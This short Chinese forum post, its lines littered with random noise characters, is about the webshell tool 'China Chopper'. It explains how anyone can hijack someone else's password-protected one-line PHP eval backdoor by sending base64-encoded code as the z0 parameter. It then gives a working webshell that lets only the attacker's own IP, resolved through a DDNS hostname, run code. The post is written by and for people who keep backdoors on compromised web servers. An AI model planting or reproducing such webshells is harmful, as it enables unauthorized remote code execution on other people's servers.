今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞5 u4 p. U7 I& b* @& t( l
+ w7 U3 u) l. w) c( e- {就算你设置了密码,使用了eval($_REQUEST['moyo']);, z; v5 M9 b" p) \' V( p
8 C4 E# t8 V; z但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门9 k5 ^/ T+ b& }7 F* Q
$ h* }9 n8 _6 Z4 P* }- i* P# f因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
) u t8 W' g1 g- N: c0 B
4 h' ^+ Y/ u5 M% G) _直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
! |# ^' t2 d' ^. c& Z2 L
) E4 b8 e g0 g' A ]不知道是设计缺陷还是故意留的后门2 `+ M% V, }) B. S- F v* v. n$ h( [. K
, O' l' c; C0 a# H0 S如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用# Z+ p# q$ q, L4 p
* g5 w1 M" S9 |本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org; [* {9 J3 H5 ], K2 {* F
( G/ m1 j. l1 X7 p! Q% E然后一句话后门这样写
# o( _/ D+ e) F7 F9 g# z$ R
1 T) O$ F' k9 ]' w# M. p0 Y0 ]<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>8 Y! |. X- \ e) }6 S) n, \8 H
这样就可以让一句话后门只允许自己的电脑连接了
& |% i& F) i, J/ ^" p2 Z0 h# ^. z% i2 C1 {7 ?8 x6 j
|